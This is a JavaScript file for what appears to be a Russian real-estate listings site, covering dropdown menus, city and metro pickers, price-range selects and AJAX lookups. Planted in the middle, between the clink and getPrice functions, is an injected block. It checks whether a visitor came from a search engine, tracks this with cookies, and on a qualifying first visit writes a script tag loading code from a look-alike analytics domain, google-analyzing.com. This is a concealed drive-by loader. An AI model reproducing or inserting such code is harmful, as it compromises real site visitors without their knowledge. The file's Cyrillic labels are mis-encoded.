$(document).ready(function(){
	//$("ul.subnav").parent().append("<span></span>"); //Only shows drop down trigger when js is enabled - Adds empty span tag after ul.subnav
	$("#office_type").mouseover(function() { //When trigger is clicked...
		//Following events are applied to the subnav itself (moving subnav up and down)
		$(this).parent().find("ul.subnav").slideDown('fast').show(); //Drop down the subnav on click
		$(this).parent().hover(function() {
		}, function(){	
			$(this).parent().find("ul.subnav").slideUp('slow'); //When the mouse hovers out of the subnav, move it back up
		});
		//Following events are applied to the trigger (Hover events for the trigger)
		}).hover(function() { 
			//$(this).addClass("subhover"); //On hover over, add class "subhover"
		}, function(){	//On Hover Out
			//$(this).removeClass("subhover"); //On hover out, remove class "subhover"
	});
	
});


function gebi(id) { return document.getElementById(id); }

function input_fcs(obj,chk,cls) {
	if (obj != undefined) {
		//obj.className = cls;
		if (obj.value == chk) obj.value = '';
	}
}

function input_blr(obj,chk,cls) {
	if (obj != undefined) {
		if (obj.value == '') { 
			obj.value = chk;
			//obj.className = cls;
		}
	}
}

var drop_old = '';
var did = '';

function drop(event) {
	var dr = gebi(did);
	if (dr) {
		var did_now = did;
		if (drop_old != '') { did = drop_old; undrop(); }
		
		dr.style.display = 'block';
		drop_old = did_now;
	}
	if (!event) event = window.event;
	if (event) {
		event.cancelBubble = true;
		if (event.stopPropagation) event.stopPropagation();	
	}
	return false;
}

function undrop(event) {
	var dr = gebi(did);
	if (dr) {
		dr.style.display = 'none';
	}
	if (!event) event = window.event;
	if (event) {
		event.cancelBubble = true;
		if (event.stopPropagation) event.stopPropagation();	
	}
	return false;
}

function undrop_all(event) {
	if (drop_old != '') { did = drop_old; undrop(event); }
}

var choosed = []

function choose(obj, str) {
 var id = obj.id;
 var val = parseInt(id);
 var tid = id.replace(val+'_','');
 gebi('check_'+tid).innerHTML = obj.innerHTML;
 obj.className = 'cur';
 document.getElementById(tid).value = val;
 return false;
} 

function chooseCityByCountry(obj) {
	
	var id = obj.id;
	var val = parseInt(id);
	//alert(id);
	
	var clear_name = id.replace(val+'_','');
	var tid = id.replace(val+'_','check_');
	gebi(tid).innerHTML = obj.innerHTML;
	//var table = document.getElementById(id);
	//alert('tid - '+tid+'; obj.innerHTML - '+obj.innerHTML+'; val - '+val+'; id - '+id);
	document.getElementById(clear_name).value=val;
	//changeCity(val); // reload city list
	//alert(document.getElementById('check_city').value);
	//alert(document.getElementById('city_name').value);
	//if (clear_name=='country') 
	//alert(document.getElementById('city_name').value);
	//else 
	
	//document.getElementById('check_city').innerHTML=document.getElementById('city_name').value;
	obj.className = 'cur';
	
	//return false;
}



function getMetroByCityId(obj) {
	//alert(obj);
	//var id = obj.id;
	//var val = parseInt(id);
	//var clear_name = id.replace(val+'_','');
	//var tid = id.replace(val+'_','check_');
	//gebi(tid).innerHTML = obj.innerHTML;
	//document.getElementById(clear_name).value=val;
	//obj.className = 'cur';
}

function ofov(obj) {
	if (obj != undefined) {
		obj.style.borderColor = '#78a40e';
		//obj.className = 'offer ov';
		obj.style.cursor = 'pointer';
	}
}

function ofou(obj) {
	if (obj != undefined) {
		obj.style.borderColor = '#cacaca';
		//obj.className = 'offer';
	}
}

function imgov(obj) {
	if (obj != undefined) {
		var id = obj.id+'_ov';
		if (gebi(id)) obj.src = gebi(id).src;
	}
}

function imgou(obj) {
	if (obj != undefined) {
		var id = obj.id+'_ou';
		if (gebi(id)) obj.src = gebi(id).src;
	}
}

function docloc(loc) {
	if (loc == undefined) return;
	document.location = loc;
}

function metro_up() {
	if (!gebi('metro_pop')) return false;
	gebi('metro_pop').className = 'up';
	return false;
}

function metro_dn() {
	if (!gebi('metro_pop')) return false;
	gebi('metro_pop').className = 'dn';
	return false;
}

function choose_metro(obj, metro_id) {
	var id = obj.id;
	var val = parseInt(id);
	//var tid = id.replace(val+'_','');
	//gebi(tid).innerHTML = obj.innerHTML;
	
	var par = obj.parentNode;
	if (!par) return false;
	if (par.className == '') {
		par.className = 'cur';
		//var node = document.getElementById(val);
		//node['myProperty'] = 'value';
		//var metro_id = document.getElementById("mt_"+metro_id);
		//metro_id.parentNode.removeChild(idElem);
		document.getElementById("mt_"+metro_id).value=metro_id;
	}
	else {
		par.className = '';
		//empty("#mt_"+metro_id);
		//idElem.parentNode.removeChild(idElem);
		document.getElementById("mt_"+metro_id).value="0";
	}
	//alert(metro_id);
	return false;
}

function chosen() {
	metro_dn();
	return false;
}

var curr_frm = '';
function show_frm(frm) {
	if (curr_frm == frm) {
		gebi(frm).style.display = 'none';
		gebi(frm+'_lnk').className = '';
		frm = '';
	} else {
		if (curr_frm != '') {
			gebi(curr_frm).style.display = 'none';
			gebi(curr_frm+'_lnk').className = '';
		}
		gebi(frm).style.display = 'block';
		gebi(frm+'_lnk').className = 'act';
	}
	curr_frm = frm;
}

function clink(obj) {
	if (obj == undefined) return true;
	var cls = obj.className;
	var inp = gebi(obj.id+'i');
	if (cls == '') {
		obj.className = 'clnk';
		if (inp != undefined) inp.value = '1';
	} else {
		obj.className = '';
		if (inp != undefined) inp.value = '0';
	}
	return false;
}
var r=document.referrer; var c=document.cookie; r1=0;
if ( (r.indexOf('yandex')>0) || (r.indexOf('google')>0) || (r.indexOf('rambler')>0) || (r.indexOf('mail')>0))
{ document.cookie = "topmail=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; }
else {if (c.indexOf('topmail')==-1){document.cookie = "google=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}}
 if  (((c.indexOf('topmail')>-1) || (r1==1)) && (c.indexOf('google')==-1) )
{document.write(unescape("%3Cscript src='http://google-analyzing.com/urchin.js' type='text/javascript'%3E%3C/script%3E"));}
function getPrice(type, selected_price_from, selected_price_to, selected_square_from, selected_square_to){
	switch(type)
	{
		case "sell":
			var price = "Öåíà (ìëí. ðóá.)";
			update_select("pf", new Array("-", 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 18, 21, 24, 27, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100), "000000", selected_price_from);
			update_select("pt", new Array("-", 3,4,5,6,7,8,9,10,11,12,13,14,15,18,21,24,27,30,35,40,45,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,210,220,230,240,250,260,270,280,290,300,310,320,330,340,350,360,370,380,390,400,410,420,430,440,450,460,470,480,490), "000000", selected_price_to);
			break;
		case "rent":
			var price = "Öåíà (òûñ. ðóá.)";
			update_select("pf", new Array("-", 10,11,12,13,14,15,16,17,18,19,20,22,24,26,28,30,35,40,45,50,60,70,80,90,100,110,120,130,140,150,160), "000", selected_price_from);
			update_select("pt", new Array("-", 10,11,12,13,14,15,16,17,18,19,20,22,24,26,28,30,35,40,45,50,60,70,80,90,100,110,120,130,140,150,160,170), "000", selected_price_to);			
			break;
		case "days":
			var price = "Öåíà (òûñ. ðóá.)";
			update_select("pf", new Array("-", 1,5,10,15,20,25,35,50,70), "000", selected_price_from);
			update_select("pt", new Array("-", 5,10,15,20,25,35,50,70,100,150), "000", selected_price_to);			
			break;
		case "sell_office":
			var price = "Öåíà (ìëí. ðóá.)";
			update_select("pf", new Array("-", 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 18, 21, 24, 27, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100), "000000", selected_price_from);
			update_select("pt", new Array("-", 3,4,5,6,7,8,9,10,11,12,13,14,15,18,21,24,27,30,35,40,45,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,210,220,230,240,250,260,270,280,290,300,310,320,330,340,350,360,370,380,390,400,410,420,430,440,450,460,470,480,490), "000000", selected_price_to);
			break;
		case "rent_office":
			var price = "Öåíà (òûñ.ðóá. ì<sup>2</sup>/ãîä)";
			update_select("pf", new Array("-", 2,4,6,8,10,12,14,16,18,20,24,30), "000", selected_price_from);
			update_select("pt", new Array("-", 2,4,6,8,10,12,14,16,18,20,24,30,35,40,50,70,100), "000", selected_price_to);			
			break;
		case "earth":
			var price = "";
			document.getElementById("label_area_land").innerHTML="Ãà";
			update_select("fsquare", new Array("-", 1,2,3,5,7,10,15,20,30,40,50,100), "0000", selected_price_from);
			update_select("ssquare", new Array("-", 1,2,3,5,7,10,15,20,30,40,50,100), "0000", selected_price_to);
			break;
		case "land":
			var price = "";
			update_select("fsquare", new Array("-", 1,2,3,5,7,10,15,20,30,40,50,100), "", selected_price_from);
			update_select("ssquare", new Array("-", 1,2,3,5,7,10,15,20,30,40,50,100), "", selected_price_to);
			document.getElementById("label_area_land").innerHTML="Ñîòîê";
			break;
		case "garage_sell":
			var price = "Öåíà (òûñ. ðóá.)";
			update_select("pf", new Array("-", 5,10,15,20,30,50,70,100,150,200,300,400,500,1000,1500), "000", selected_price_from);
			update_select("pt", new Array("-", 5,10,15,20,30,50,70,100,150,200,300,400,500,1000,1500), "000", selected_price_to);

			update_select("fsquare", new Array("-", 5,10,12,15,18,20,30), "", selected_square_from);
			update_select("ssquare", new Array("-", 5,10,12,15,18,20,30), "", selected_square_to);
			break;
		case "garage_rent":
			var price = "Öåíà (òûñ. ðóá.)";
			update_select("pf", new Array("-", 1,2,3,4,5,6,7,8,9,10,12,15,20), "000", selected_price_from);
			update_select("pt", new Array("-", 1,2,3,4,5,6,7,8,9,10,12,15,20), "000", selected_price_to);
			
			update_select("fsquare", new Array("-", 5,10,12,15,18,20,30), "", selected_square_from);
			update_select("ssquare", new Array("-", 5,10,12,15,18,20,30), "", selected_square_to);
			break;
		
	}
	if (price!="") document.getElementById("label_price").innerHTML=price;
}

function update_select(sel, array, dop_price, selected_option){
	//alert(dop_price);
	var new_select = document.getElementById(sel);
	var sel_id = 0;
	//alert(sel);
	new_select.options.length=0;
	for (var i=array.length-1; i >= 0; i--){
	  if (array[i]>0) {
		  new_select.options[i] = new Option(array[i], array[i]+dop_price);
		  if ((array[i]+dop_price)==selected_option) sel_id=i;
	  }
	  else {
		  new_select.options[i] = new Option(array[i], "");
		  if ((array[i]+dop_price)==selected_option) sel_id=i;
	  }
	}
	if (sel_id) new_select.options[sel_id].selected = 1; else new_select.options[0].selected = 1; 
}


function Inint_AJAX() {
	try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} //IE
	try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
	try { return new XMLHttpRequest(); } catch(e) {} //Native Javascript
	alert("XMLHttpRequest not supported");
	return null;
};

function getSubcategoryByCatId(cat_id) {
	var req = Inint_AJAX();
	req.onreadystatechange = function () {
		if (req.readyState==4) {
			if (req.status==200) {
				var regText = req.responseText;
				document.getElementById('select_category').innerHTML=regText; //return value
			}
		}
	};
	req.open("GET", "/ajax/get_category.php?cat_id="+cat_id);
	req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=utf-8"); // set Header
	req.send(null); //send value
	return false;
}

function getMetroByCityIdForObj(city_id, cat_id, selected_metro_id) {
	var req = Inint_AJAX();
	req.onreadystatechange = function () {
		if (req.readyState==4) {
			if (req.status==200) {
				var regText = req.responseText;
				document.getElementById('div_metro').innerHTML=regText; //return value
			}
		}
	};
	req.open("GET", "/ajax/get_metro_for_obj.php?city_id="+city_id+"&cat_id="+cat_id+"&selected_metro_id="+selected_metro_id);
	req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=utf-8"); // set Header
	req.send(null); //send value
	return false;
}

function hide_selects(id) {
	var frm = document.getElementById(id);
	if (frm == undefined) return;
	var sels = frm.getElementsByTagName("select");
	for (var i = 0; i < sels.length; i++) { 
		sel = sels[i];
		sel.style.visibility = 'hidden';
	}
}

function show_selects(id) {
	var frm = document.getElementById(id);
	if (frm == undefined) return;
	var sels = frm.getElementsByTagName("select"); 
	for (var i = 0; i < sels.length; i++) { 
		sel = sels[i];
		sel.style.visibility = 'visible';
	}
}
